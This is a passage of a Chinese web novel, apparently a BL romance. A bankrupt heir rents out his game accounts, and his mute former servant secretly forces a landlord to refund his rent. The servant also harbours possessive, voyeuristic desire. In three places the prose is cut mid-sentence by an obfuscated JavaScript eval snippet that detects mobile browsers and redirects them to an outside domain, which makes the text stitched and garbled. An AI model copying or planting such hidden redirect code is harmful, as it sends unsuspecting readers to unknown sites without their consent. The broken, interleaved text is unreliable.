也即“富婆”“富哥”贵族号。 至于CP位出租,则是指把有各种大国标,看起来十分厉害,一看就是高手的游戏账号的“恋人位置”出租出去,满足一些人的特殊需求。 蹭国标同理。 应浔平时也玩游戏,没认识到自己身边的人都是狐朋狗友时,经常一块开黑,还找职业选手陪玩。 他技术一般,但差生文具多。 所有热门游戏的账号都充了很多钱,游戏里能买的皮肤和装备都买了,而且买的最贵的,全套的,经常被路人加游戏好友,一口一个喊他富哥,求蹭皮肤。 这样看来,他的游戏账号应该就是这条兼职信息上所要求的贵族“漂亮号”。 而且被职业选手带飞,有专门的代练帮他打号养号。 应浔不知不觉就躺出了很多国标。 衣服、手办、包包,所有线下能卖的东西都卖了,应浔没想到自己还有一笔“电子财产”。 就好像某天无意间翻到一本泛黄的书页里夹着几张钱,或是从很久没穿的衣服口袋里掏出几枚硬币。 应浔有一种天上掉馅饼的感觉。 他第一时间按照这条兼职信息上写的,去咸鱼网上注册了一个账号。 自从家里破产,不食人间烟火的少爷知道了各种可以转卖二手物品的平台,今天又了解到一个。 他把自己的王者、吃鸡、瓦等游戏账号都挂了出去。 尤其是躺了各种大标小标,主页极其华丽酷炫的王者号的CP位,虽然不知道租CP位的这些人到底是什么需求,租这个位置用来干什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480986|185643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 但应浔还是挂上去了。 没多久,还真有人私信他,下了单,租一个月。 应浔看着到账的52元,感到不可思议。 少是少了点,但至少他卡里的余额终于不再是那串扎眼又让他犯强迫症的42.4了,也不用再变卖自己的物品。 主要是,他也没什么可卖的了。 挣到了人生中第一笔钱,应浔很是开心,顺便又把自己的各大视频账号,网易云黑胶音乐租了出去。 每个账号,他都一次性充了好多年的svip,其中一个视频号有一次妈妈想看一部热播剧,他一口气开了15年的会员。 现在全都被应浔低价租了出去。 赚一分钱也是钱。 挂完租号,他继续搜寻大学生假期可以网上做的兼职。 除了刚才的代抢演唱会门票、出租游戏账号,他还看到了线上帮小朋友背单词,当视频网站的审核,还有一个“人工闹钟”,即起床叫醒服务。 虽然都奇奇怪怪的,薪资也没有很多,但总归今天找到了一些赚钱的方式。 应浔打算先从一些小的兼职入手,等自己的腿和脚好了,就出门找工作。 之前拉不下脸的奶茶店或是甜品店,应浔打算到时候去问一问。 反正只要能赚钱,不是拍色情杂志等违法勾当的,被生活狠狠摩擦过的少爷,现在什么都愿意尝试一下了。 这样一通忙活,不知不觉就到了大中午。 墙上的挂钟时针走向了一点钟。 应浔看到挂钟上的时间,想起小哑巴临走前一再叮嘱自己要按时吃饭。 他打开冰箱,找到周祁桉早上给自己做好的午饭。 是一份蜜汁鸡翅加南瓜碎的午餐饭,工工整整分开摆放在玻璃饭盒里,还有一份补充纤维素的蔬菜沙拉。 他拿着盒饭,走去厨房。 微波炉前贴着小哑巴给他做的微波炉操作指南,依旧是小哑巴手写的字,方便自己看懂操作,还贴心地画了简笔画小人,用手指着箭头,配文——少爷请看这里 ^_^ 应浔:“……” 周祁桉在搞什么抽象。 而且这个小人一看就是周祁桉自己。 “画的真丑。” 应浔看到白纸上歪歪扭扭的小人,嘟囔一声。 没有小哑巴的字写得好看。 也没有周祁桉本人帅气好看。 可是通俗易懂,傻瓜来了都能看明白操作。 应浔按照操作流程在微波炉热好了午饭,饱餐一顿。 小哑巴的厨艺也挺好的,从昨晚的汤面到今天早上包的包子,还有这会儿的蜜汁鸡翅饭都很好吃。 被自己曾经的狗腿收留了还不到24小时,应浔就找回了当年被小哑巴伺候的舒适感,甚至比以前还要舒服。 他把吃完的餐具收拾好,准备继续网上挣钱。 路过阳台,无意间往种了许多绿植的空间瞥了一眼。 晌午的阳光很强烈,起了风,从阳台的纱窗吹进来,摇动一阳台的绿影,还有挂在上方晾衣杆上衣服的影子。 是两次重逢小哑巴,看他身上穿的衣服。 应浔觉得今天的风有点大,在室外跑了几天,他知道这风裹着热浪,吹在身上一点也不舒服,像在火炉旁炙烤。 还好小哑巴屋子里的空调很凉快,还贴心地给他准备了一份有爽口西瓜的水果拼盘,让他在家里当零食吃。 此时应浔正端着凉滋滋的冰镇西瓜拼盘准备继续坐回电脑前。 却停住脚步。 只见阳台晾衣杆上摇晃的衣影中,除了小哑巴的衣服,还有一件雪白的上衣,一条轻薄的亚麻长裤,以及……应浔的内裤。 应浔瞪大眼。 昨晚洗完澡后,从小哑巴口中得知家里的洗衣机坏了,还没来得及修,身心都感到疲惫的应浔把换下来的衣服丢进衣篓里就去睡觉了,打算第二天睡醒了自己手洗。 只是一早醒来被厨房做饭的周祁桉,还有不知什么时候双双对对换了一个遍的屋子转移了注意力,应浔一时忘了自己换在衣篓里的衣服。 他就说今天总感觉有什么事情忘了做,原来是忘了洗衣服。 所以现在挂在晾衣杆上晾晒的自己的衣服是小哑巴洗的? 他什么时候洗的? 怎么连自己的内裤都洗了? 应浔白皙的脸腾一下爬上一抹红晕。 以前应浔的衣服也是有人帮他洗,比如家里的保姆和后来和他们一起生活了五年的周阿姨。 只是住家保姆都是长辈,周阿姨也像她另一个妈妈一样。 他也从来不会考虑自己的衣服换下来后都去了哪里,是怎么重新挂在衣橱里后变得清爽干净。 他的衣帽间里也有数不清的,穿不完的衣服。 直到家里破产后的这段时间,应浔自己学做很多家务。 学习怎么用洗衣机,住宾馆时担心衣服在那么多人用过的洗衣房里洗,到时候自己的身上又起疹子,就自己手洗过几天,再拿去晾衣区晾晒。 怎么也没想到还会有人帮他洗衣服。 不是,周祁桉干吗要细致体贴到这个份儿上啊? 洗衣机坏了,这些衣服一定是小哑巴手洗的。 救命,他一个大男生手搓别的男生的内裤不觉得尴尬吗? 7. 骄矜美人破产第七天 老城区小巷,应浔前几天被退租的小破房子门口。 周祁桉在门前一株长了很多年的粗壮榆树下打了个喷嚏。 许赫扬停下他们那辆拉货用的7.8米的装载大货车,打开车门跳下来:“祁桉,怎么的,大夏天吹空调吹感冒了?” 周祁桉没有理他,只问:[东西都拉来了吗?] 许赫扬打开厢门,露出里面的油漆桶、二手沙发,桌子椅子,还有窗玻璃等,擦了擦额头上的汗水:“都按照你的要求拉来了,一样不少。我说祁桉,你到底要干什么啊?” 不止许赫扬一脸困惑,被大热天的从空调房里弄出来的李德发也一脸困惑。 李德发就是租应浔老破小,前几天把应浔赶走,还强行将应浔两个月的租金扣完的那个房东。 他今天正舒舒服服躺在屋子里睡午觉,一个看起来学生摸样的陌生男生突然找上了门。 这男生很年轻,看上去年纪不大,但浑身气场狠戾冷鸷,一双黑漆漆的眼眸看人时也很冰冷怪异,像被蛇盯上。 李德发很莫名,问这个男生是谁,大中午地找他做什么。 男生却不发一言,只沉默着甩给他一堆违章改建和偷打隔断房以及凭借合同漏洞屡次侵犯租户权益的文件。 随后告知如果不按照自己的协议方式退还那个叫应浔的租户的两个月房租,就揭举他,并且跟他打租房维权官司。 李德发原本一脸懵,看到文件上搜集的自己那些违章改建房屋的照片和详细信息后立刻清醒了。 再加上这男生看人的眼神很骇人,宣称不怕耗费时间和金钱和他打官司,他更是不敢掉以轻心。 李德发靠把房子违规改建,偷偷打隔断,租给一些刚入社会还很青涩的来京市工作的打工族,一屋多用地赚取房租。 并且经常利用合同漏洞和找各种借口克扣这些租户的租金和押金。 这些年轻人很多是刚毕业的,没什么社会经验,尤其是女孩子,他语气凶狠一些,她们就不敢和自己继续掰扯了。 更别提,就算诉诸法律,这些小年轻刚工作没多久,手上没攒什么钱,耗不起官司,或是嫌麻烦不愿意纠扯,最后就由着自己按照事先签订的合同扣除房租和押金了。 没想到今天碰到根硬骨头。 李德发不愿意自己违建的房子被揭发,到时候不仅要全部拆除,少赚很多房租,还要赔不少违章改建费。 他更不愿意摊上官司,也怕出钱和耗费时间。 最后跟着这名冷鸷着脸不说话,要么直接甩文件,要么是由他身后跟着的另一个看起来也很不好惹的男生和自己沟通的人来了位于自己老城区小巷的这套小房子。 这套房子在一个月前被李德发租给了一个落魄少爷,还是名大学生。 看上去冷冷的,劲劲儿的,其实很好拿捏。 李德发不知道找上门的这个沉默阴鸷的男生所宣称的“他们的协议方式”是什么,尤其是看到这辆不知道从哪里开来的装了很多东西的货车。 大中午的,天气热得不像话。 李德发额头上的汗止不住地往下流。 不等他开口询问,就见不说话男生身后跟着的那个面无表情,脸上有大面积烫伤伤疤的同伴拿过来一张照片。 “这上面是你这套房子本月租出去之前的样子是吗?” 李德发凑过去,见是他之前发布在租房平台上的房屋图片,连忙点头:“是。” 确认完,就见对方收回照片。 随后,那个自始至终不发一言气场骇人的男生示意一个眼神,他的同伴立刻拎起从货车上拉来的油漆桶,泼向被涂了“还债”猩红大字的墙壁上。 是几天前那位落魄少爷的追债人干的事情,李德发还没来得及收拾这套屋子。 李德发看得云里雾里,但不敢吱声。 大老远把货车开来的许赫扬同样弄不明白状况,但没等他问明白,就被抓去一起收拾屋子,搬运家具和安装窗玻璃。 一个小时后,这间老破小被恢复成了图片上原来的样子。 醒目的“还债”红油漆字也被新的粉刷油漆掩盖,丝毫看不到痕迹。 屋子里被砸破的沙发、椅子、玻璃窗、灯具也全都换好了。 而这时,沉默的男生伸过来手机,粗粝手指点了点屏幕上一行文字:[现在,把两个月的租金共4400元退还给你前几天退租的租户。] 男生身形高大,身上的气场冷鸷骇人,十分具有压迫感。 李德发在他如被阴暗毒蛇盯上的漆黑无机质的眼眸注视下,尽管心里不情愿,还是将那位落魄少爷放出了黑名单,把4400块钱转了过去。 室外气温蒸腾。 空气在高温和灼烈日光的炙烤下几乎要变了形。 吹着丝丝凉风的小哑巴舒适的屋子里。 应浔刚找到一个代抢群,正尝试帮抢一个明星的演唱会门票,忽然听到手机传来“叮”的一声。 他解锁屏幕,发现竟然是将他拉黑的那个无赖房东给他发的信息。 一看到这个房东,应浔就窝了一肚子的气。 临时违约让他退租不说,还强行把他两个月的租金找各种理由扣光了。 应浔嘴笨,又自觉理亏,当时咽下了这口气。 之后越复盘越不爽。 凭什么啊,那破屋子里那么多二手家具,他后来在每次晚上回家的路边摊看到同款椅子,20块钱一把,多买还有优惠。 屋顶上的灯也只是一个白炽灯样式的灯泡。 他却被扣了那么多钱。 可当自己再找房东理论,发现被拉黑了。 现在看到自己被从黑名单放出来,还主动给自己发消息,应浔组织了下这两天在心里复盘好的话术,打算不能再被牵着鼻子走,一定要为自己讨回公道! 却看到一条转账记录,还有房东附上的一大段话。 [抱歉啊,小应,前几天贸然让你退租,还扣了你一笔房屋损失费,是我没有考虑周到和计算清楚。 考虑到你一个年轻人在外面租房子,家里遭遇了不好的事情,叔后来想了想,有些过意不去。都是普通人,大家都不容易,叔现在把两个月的房租退还给你,房屋损失费就当叔的违约费,临时让你退租,说到底是我不对,这事儿咱俩就算扯平了哈。] 应浔:“?” 他反反复复确认给他转账和发送这条消息的用户信息,确认是房东没错。 那个抠抠搜搜,一脸无赖样的房东竟然把两个月的租金退还给他了,还向他道歉,主动承认自己违约。 应浔感到难以置信。 但不管是不是真的,出于什么原因,既然对方要退房租,应浔赶紧点了领取,生怕房东下一秒就反悔。 果然是4400块钱,他两个月的租金。 应浔觉得今天真是神奇的一天。 先是偶然发现自己有一笔“电子财产”,租出去给自己赚到了人生中第一笔钱,虽然只有52块。 紧接着,坑自己租金的房东给自己退租,还原封不动地退了两个月的。 耳边仿佛响起金币哗哗往下掉的清脆悦耳的声音。 应浔的心情突然间变得很好,连昨天晚上的崩溃和这一个月来因家里的变故积攒的郁气都一扫而空。 他的生活终于没有那么糟糕了。 难道真像网上说的,人倒霉到一定的程度,就会触及反弹,开始走运? 小巷。 李德发发送完消息抬头看了眼阴沉沉盯着他的人:“你看这样行吗?我那个违章改建和告我的事……” 周祁桉没作声,把那些搜集的证据和侵权信息的文件全部扔给了他。 李德发大喜,重重捏了一把汗。 坐上货车,江照问:“祁桉,就这样放过他吗?这可是我们辛辛苦苦搜集来的,你不是说这个人把你的朋友欺负得很惨吗?” 周祁桉拧开一瓶纯净水,咕噜咕噜灌了几口,随后无机质的黑眸看过去,微微一笑:[你觉得呢?] 江照会意。 许赫扬站在车下,还是不知道发生了什么,急得抓耳挠腮:“所以你们到底在干什么啊,放着那么多事情不做跑来和一个小破屋子的房东掰扯。” “祁桉,你什么朋友被欺负得很惨啊,我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480987|185643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认识吗?” “还有,听小决说你要把‘森顾’卖了?” 森顾是周祁桉创办的一个科技公司的英文名称Singul的谐音。 许赫扬没怎么念过书,说不来这些英文,就自己瞎音译了个名称,其实祁桉自己给公司取的中文名称是“新谷尔”,还有另一个原始名“奇点”。 不过这些都不重要。 让许赫扬感到意外的是,祁桉竟然要把这个他第一个创办的公司卖掉。 和许赫扬他们这些早早辍学没什么文化的大老粗比起来,祁桉聪明,有能力,还是京大的高材生。 虽然不会说话,年纪也小,但三年前刚来京市没多久,就帮他把一个小小的收破烂的废品屋做成了一个拥有自己的厂房,并且规模还在不断扩大的废品收购站。 用废品站赚的第一桶金,祁桉创办了一家应用程序的科技开发公司。 公司后来发展得不错,用小决的话说继续做下去,市值一定会翻不少倍。 可是现在,祁桉竟然要把这家公司卖了。 江照听说了这件事,也感到意外,问周祁桉:“是真的吗?你要把Singul卖了?” 周祁桉没有否认:[Singul的用户渠道现在扩展缓慢,在我们手中已经达到了上限,帮它找一个适合它发展的买主是接下来对我们双方都有利的选择。] “有合适的买家吗?”许赫扬问。 周祁桉点头。 江照:“那卖掉之后你有什么打算?” 周祁桉:[把废品场规模再扩大一下,成立一个PE基金风险投资公司,还有和小决他们在做的新项目,有钱启动了。] [另外,]周祁桉想起家里自己肖想已久的金尊玉贵的少爷,[我最近接触金沙港的宋二少有进展了,要不了多久,就能混进他们那个圈子里。] 自己做公司赚钱太慢了,说白了,世界是这群上层社会资本家的游戏。 如果能被这些人带进圈,他所获得的眼界、人脉和资源都将不是现在可以比拟的。 到时候,他就能让浔少爷过回以前的生活。 而且……能更快地接近那个人。 自己筹谋的那个计划说不定也要不了那么长时间。 周祁桉的眼眸逐渐变得幽深,黑洞洞,雾森森的,思绪也不知飘到了何处。 许赫扬听不懂这些,祁桉做的很多事情他们都掺不了手,也帮不上什么忙,反正只要听祁桉的就对了,他会带着他们赚钱。 许赫扬于是点了根烟,在大太阳底下吞云吐雾起来:“你自己拿主意吧,到时候需要用钱告诉我一声,我那里还存了一笔。” 江照:“我手头上也有点闲钱。” 周祁桉默声。 三人开着货车行驶在热辣辣的柏油马路上。 许赫扬打着方向盘,又想到什么,问周祁桉:“昨晚你去哪了,我弄了一箱黑虎虾,老贵了,还说去你那烤着吃呢。” 周祁桉望着车窗外:[有点事。] “那今天去你那里啊,你家厨房的东西全,正好弄点啤酒,今天我们吃烧烤,好久没痛痛快快地喝一杯了。” 周祁桉:[今天也有事。] 许赫扬忍不住咦了声:“什么事啊,这几天这么忙,人影都见不到。算了,你忙你的,我和江照还有小决自己去。” 反正他们也不是第一次在祁桉不在家的时候去他那里自己弄东西吃。 周祁桉终于有了反应,转过头:[你们去别的地方吧,我那里最近不太方便。] “怎么不方便?”一向不爱说话,只给周祁桉当手语翻译的江照感到了一丝古怪。 许赫扬领会到什么,突然不正经地笑:“我懂了,祁桉一定是往家里带人了,不过你不是对谈恋爱没什么兴趣吗?对这档子事一点反应也没有。” 周祁桉懒得搭理他们:[反正这段时间别来,把我家的钥匙也还给我。] [还有,]他朝许赫扬瞥了一眼,皱了皱眉,[以后别在我面前抽烟。] 浔少爷有洁癖,不喜欢身上有怪味道,尤其是沾了烟味的人。 他说臭。 8. 骄矜美人破产第八天 货车最终在周祁桉小区附近的街道把他放下了,许赫扬到底没再嚷嚷着要去祁桉家喝冰啤,吃烧烤。 “服了。” 他把钥匙丢过去。 还被中途折去废品站顺走半箱他昨天弄的黑虎虾,一千二百块钱一公斤,就这么没了一半。 最重要的是祁桉顺走了虾,却丝毫没有打算邀请他们去吃的意思。 许赫扬不满地抱怨,想抽根烟,想到刚才祁桉的警告,最后忍了忍,带着江照把货车开走了。 等他们走后,周祁桉转身走进小区,拎着半箱黑虎虾拧开房门。 推开,屋子里凉丝丝的冷气扑到脸上,很久没有这种期待回家的心情了。 应浔还坐在电脑前,一边帮忙抢票,一边和咸鱼上私聊他租号的用户沟通,刚才还完成了一个线上帮小朋友背单词的任务,真是忙得不亦乐乎。 看到小哑巴回来,他忙中抬起头:“你回来了?” 这个时候是傍晚时分,六点多钟了。 但夏日天长,外面还是亮堂堂一片。 橙粉色的云霞铺在西边的天空上,落在玻璃窗上的光线变得瑰丽而绚烂。 就是这样的光线斜斜照在客厅沙发上坐着的人影上,将那张本就昳丽至极的脸晕染得更加漂亮梦幻。 周祁桉怔怔地望着这道侧影,听着尾音带点慵懒上扬的“你回来了”,心脏像是被什么轻轻勾了一下。 所以才不能让许赫扬他们到家里来,看到这样漂亮的浔少爷。 [浔哥,你在做什么?] 周祁桉把黑虎虾拎进厨房,暂时保存了下,随后走到客厅。 应浔忙,但心情很好,看到小哑巴走过来,挑了挑眉梢,很骄傲的语气:“我跟你说周祁桉,我今天赚钱了,你不许再跟我比划我卡里只有四十二块四毛钱了。” [是吗?]周祁桉笑笑,[浔哥做什么赚钱了?真厉害。] 周祁桉打开冰箱,洗了串刚才从楼下水果摊买的青提,用榨汁机榨汁,给应浔做了杯青提耶耶。 没有自己督促,浔少爷似乎又忘记吃饭和喝水了。 还好,赶回来时间合适,等下就可以给浔少爷做晚饭。 应浔很自然地接过小哑巴端给自己的青提水,就好像以前在学校,小哑巴经常去便利店和奶茶店给自己买饮品和奶茶。 他告诉周祁桉:“我把自己所有的游戏账号和vip视频号都租出去了,我今天才知道我还有一笔‘电子财产’,竟然有人愿意花钱租我的cp位置。” 周祁桉听到“cp位”,也一瞬感到疑惑,问应浔是什么意思。 应浔就将自己今天解锁到的一个“新知识”告诉了周祁桉。 解释完,看到小哑巴的眉头皱了皱,漆黑眼眸里闪过一抹怪异的情绪。 周祁桉温和地笑:[所以,浔哥你和别人组cp,网恋了?] “什么网恋。”应浔瞪小哑巴一眼,纠正他,“是在游戏里和我的租户绑定cp关系,只是一个亲密关系,不是网恋,而且只绑一个月。” [这样。]周祁桉似是了然,仍旧温温和和地微笑,[我还以为你要给别人扮演男朋友,在游戏里网恋呢。] 应浔怔了怔。 不知道是不是他的错觉,如果小哑巴会说话,这句手语从他口中说出,一定会沾有酸溜溜醋的味道。 应浔觉得大概是自己在电脑前坐久了,抢票抢得头晕眼花,让他出现了幻觉。 “我才没那么无聊。”他别扭地移开眼,重新盯上电脑,“我现在只想挣钱,挣很多的钱。” [是,浔哥努力赚钱,那我去给浔哥做饭。] 周祁桉转身去了厨房,系上围裙,开始处理从许赫扬那里弄来的黑虎虾。 浔少爷现在太瘦了,漂亮白皙的下巴都尖瘦了一圈,他一定要好好帮他补充营养,将浔少爷养回以前的模样。 厨房很快飘来阵阵好闻的油焖大虾的香气。 应浔最近其实食欲不是很好,但这味道太香了,仿佛当年生活在南城时,周阿姨给他们做的饭菜的味道。 他思绪一晃,起身走进厨房。 “周祁桉,你在做什么吃的呢?” 周祁桉转身,比划道:[在做浔哥喜欢的油焖虾和芝士焗虾。] 应浔往煎锅里看了一眼,就看到煎得红灿灿,散发着扑鼻香气的大虾。 其中芝士焗虾已经做好了,整齐摆放在小哑巴早上刚换的餐盘里,和以前在家里吃的一模一样。 [浔哥,你别在厨房待着了,回客厅吧,厨房油烟重,会把你熏到的。] 在自己盯着熟悉的事物微微晃神的时候,小哑巴提醒他。 应浔确实不喜欢油烟味,哦了声,又转身回了客厅。 晚餐很丰盛,除了小哑巴做的有曾经味道的油焖虾和芝士焗虾,他还用小黄牛肉、生菜和鸡蛋给自己做了份好吃的拌饭。 应浔今天一天可算是方方面面被小哑巴照顾得舒适滋润。 吃完晚饭,应浔拿出手机:“周祁桉,你家里的房子如果租给别人的话租金怎么算?我今天赚了点钱,把房租和饭钱转给你。” 又来了。 周祁桉有些无奈,摆手:[浔哥,都说了让你先安心住在这里,房租和饭钱的事先不用着急给我。] “那怎么行,我总不能白吃白住你的?” 应浔虽然被小哑巴伺候得周到舒适,但今时不同往日,他不再是当初的少爷了,小哑巴也不再是他家保姆的儿子,没义务养着他,他又不是小哑巴什么人。 似是看出了他的心思,周祁桉思索片刻:[这样吧,浔哥,钱你先记账上,房租我给你按一个月1000块钱算,伙食费的话,一个月两百怎么样?我每天给你做饭,你答应我一日三餐好好吃饭。] [然后这些钱,一年付一次,你等明年这个时候,直接转我一万四可以吗?这样我们两个人都方便,不用每天转来转去的,你先把钱攒着留作备用,沈阿姨在医院不是还需要钱吗?] “哦。”应浔想到昏迷在医院的妈妈,心脏一阵沉痛。 周祁桉说的对,他现在的确最好把挣到的钱攒起来,不要乱花。 应浔思索起小哑巴提议的方案,拧眉:“可是……房租是不是太便宜了?” 他现在也算是对京市普通人的租房情况有所了解,知道小哑巴这里的房子虽然处在老小区,但地段好,周围交通方便。 而且屋子收拾得干净舒适,小哑巴把宽敞明亮的主卧让给自己,这样的单间放在租房市场,少说也在两千块钱以上。 还有伙食费,一个月两百。 他光点外卖都不止这个价了,小哑巴还要每天给自己做饭。 周祁桉无比真诚地解释:[不便宜,浔哥就当友情价,如果换作浔哥的话,也会这样对自己的朋友吧?甚至浔哥可能一分钱都不让对方花。] 这倒是真的。 应浔虽然平时骄纵,少爷脾性,但对那些狐朋狗友倒是出手大方。 只可惜这些人现在一个靠不住,在他最落魄的时候,竟然是曾经的狗腿收留了他,还如此体贴周到地照顾自己。 应浔再次为曾经将小哑巴随意使唤来使唤去,心安理得地把他当狗腿而感到羞愧。 都说人只有在落魄的时候才能真正看透人心,看穿一个人的真面目。 应浔现在终于懂得了这个道理。 原来只有小哑巴对他是真心的,别无所图。 应浔其实不是不知道那些人一个个接近自己,捧着自己是什么目的。 他于是同意了小哑巴的提议,骄矜地说道:“那就按你说的吧,一年起付,你放心,我一定会努力挣钱,到时候一天和一分钱都不会拖欠,我们可以签合同。” [我相信你,浔哥。]周祁桉微微一笑,漆黑深洞的眼眸掠过一抹愉悦的神色,仿佛暗中窥伺已久的狩猎者,等到了猎物上钩。 应浔还没反应过来自己不知不觉要和周祁桉同住一个屋檐下至少一年,他原本打算手上有点钱就从小哑巴家里搬走,不打扰他的。 两个人就这样达成了约定。 但刚被房东坑过,应浔不放心,最后还是弄了两份纸质的协议,一字一字地写清,不占小哑巴便宜,也防止自己被再次扫地出门。 尽管他知道,小哑巴不会做这样的事。 周祁桉什么都由着浔少爷。 浔哥要签合同,他就乖乖巧巧、老老实实在合约上签上自己的名字。 两人还摁了手印。 家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480988|185643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里没有印泥,周祁桉被浔少爷抓着手指用红笔涂红指尖。 再次触碰到温软滑腻的皮肤,笔尖戳得覆着粗茧的手指痒痒的。 周祁桉看到两人按在签名上红红的手印,像在签婚书。 “好了,你一份我一份,各自保存好。” 应浔没有注意到小哑巴紧紧盯着红手印的眼神,把合同整理好,递给小哑巴。 周祁桉握着自己这份:[我会好好保存的,浔哥。] 住处算是解决了。 应浔虽然还是觉得有些不太适应被曾经的狗腿收留,可总归有了个安稳的住的地方。 反正自己最落魄狼狈的一面也被小哑巴看到了。 算了,摆烂吧。 他什么样子周祁桉没有见过? 应浔拿起干净的衣服,去卫生间洗澡。 不知不觉,外面的天空被天鹅绒似的黑幕遮盖,星光浮动夜空。 应浔把换下的衣服扔进衣篓,温热的水流从头上落下,他突然想到什么,拉开浴室的房门,探出半颗湿润的脑袋。 “周祁桉,房租和伙食费你让我先攒着,明年再给你,我出钱换个洗衣机总可以吧?” 周祁桉正在打扫厨房,闻言转过头,看向浴室的方向。 这间二居室不是很大,卧室、厨房、卫生间几乎没隔多远,空间小,一个抬眼就能将整个室内纳入视线里。 浴室的门是单层磨砂玻璃式的,屋主是一对小夫妻。 周祁桉在母亲病逝后,一个人租下这套房子。 一个人居住,对什么都不在意,也不怎么关注屋子里的情况。 以前周祁桉没觉得浴室这道门有什么不一样,直到这一刻,映入眼帘一道纤长漂亮的身影。 隔着磨砂玻璃,那道身影旖旎,朦胧。 水珠顺着雾蒙蒙的玻璃往下流淌,勾出一道漂亮的身体线条,腰很细,肉色若隐若现。 周祁桉握着拖把的手指僵了僵,望着湿漉漉的美人和若隐若现的身影。 乌发湿湿地垂在光洁的额头上,一滴一滴往下滚着水珠,顺着脸颊蜿蜒进精致的锁骨,和玻璃上流淌的水痕融在了一起,看不分明。 [浔哥,你怎么想着要换洗衣机?] 周祁桉感觉自己的呼吸重了几分,喉结微微滑动,视线无处安放。 应浔挑眉:“你家的洗衣机坏了,不换还让你给我手洗衣服吗?” 周祁桉明白过来浔少爷说的是什么,耿直的表情:[我只是看浔哥你昨晚太累,自己洗衣服时顺手帮你洗了。] “那也用不着帮我把内裤也洗了吧?”应浔瞪他一眼,与此同时,滚着水珠的湿漉漉的脸颊飞来一层红晕,“你一个大男生帮别的男生洗内裤不觉得尴尬吗?” 周祁桉望着这道雾蒙蒙的红晕,沾着水珠,在白皙的脸颊上,像开在皑皑雪地里艳丽的玫瑰。 上挑的眼梢都是风情。 他垂下眼,感觉手心和身体在一点点发烫。 [我当时没想太多。] 小哑巴顺敛眉目,一副任由数落的模样。 应浔看他可怜兮兮的样子,开始反思自己是不是又过分了。 小哑巴好心帮他洗衣服,他还用这样不识好歹、不知感恩的语气和他说话。 “我的意思是,我现在很多事情可以自己做,你不用帮我到这个份儿上,连衣服都帮我洗,我又不是巨婴,你也不是我以前的狗腿。” 应浔放缓语气,尽量让自己看起来不那么骄纵。 [好,我明白了。]小哑巴露出一个体贴理解的笑,[我以后不会这样了。] “那我继续洗澡去了。”应浔转头,关上浴室的门。 淅沥淅沥的水声从浴室里传来,朦胧旖旎的身影也开始在雾蒙蒙的玻璃门上动起来。 周祁桉不敢再往这个方向看过去,粗粝手心握紧拖把,试图让自己专心拖地。 脑海里却忍不住浮现出昨晚摊在掌心的那块布料,白色的,触感丝滑,像在抚摸浔少爷滑腻的肌肤。 尴尬吗? 周祁桉黑眸幽深,一瞬粗重的呼吸融进浴室传来的淅沥淅沥的水声中。 是浔少爷的东西怎么会尴尬? ……他差点就控制不住舔了上去。 9. 骄矜美人破产第九天 洗衣机最后没有买新的。 小哑巴翻出保修单,发现这台洗衣机还在保修期内,可以免费上门维修,便帮应浔省了一笔钱。 应浔现在也不一定什么都要用新的、用最好的。 只要能攒够妈妈的手术费,让躺在病床上的妈妈好起来,他过什么样的苦日子都可以。 不能再当以前娇生惯养的少爷了。 就是周祁桉找人来修洗衣机,为什么要把浴室的门也换了? “这门怎么了,不是好好的吗?” 应浔看到安装工将浴室原先的磨砂玻璃门拆下,重新安装了扇法式复古的木门,底下打了厚厚的防水和防发霉胶。 周祁桉告诉他:[门把手不好用,门框也有很大的磨损。] 是吗? 应浔在小哑巴家待了快两天了,没觉得浴室的门把手不好用啊?也没看出门框哪里有磨损。 不过换就换吧,新门还挺好看的。 喜欢一切美好和美丽事物的应浔觉得小哑巴太了解自己了,连换个门都让自己舒心。 周祁桉见眼前人不再疑惑,微微舒了一口气。 他知道自己的理由编得粗糙,也很生硬。 门把手没有坏,门框也没有磨损。 只是周祁桉一早醒来看到自己的状况,担心哪天控制不住冲进浴室,随便把浔少爷按在浴室哪个角落就狠狠地干。 最好就在昨晚那道若隐若现勾着漂亮身影的玻璃门上。 昨天夜里,那道身影一直缠绕着自己的梦境,深水域里漂亮的海妖一般,又像精怪志里勾人的艳鬼。 周祁桉想象着把浔少爷困在自己的双臂间,抵在门上,让浔少爷哪里也去不了,身上的水和流淌在玻璃门上的水痕融在一起,像昨晚看到的旖旎风景。 其实,周祁桉是个很能掌控和压抑自己欲望的人。 虽然从十五岁那年前就对自己伺候的浔少爷起了心思,肖想月亮,可是能够将这份觊觎深深压在心底。 何况,他还有更重要的事情要做。 这几年,周祁桉努力让自己不要想起浔少爷,试图将他忘记,也以为自己做到了。 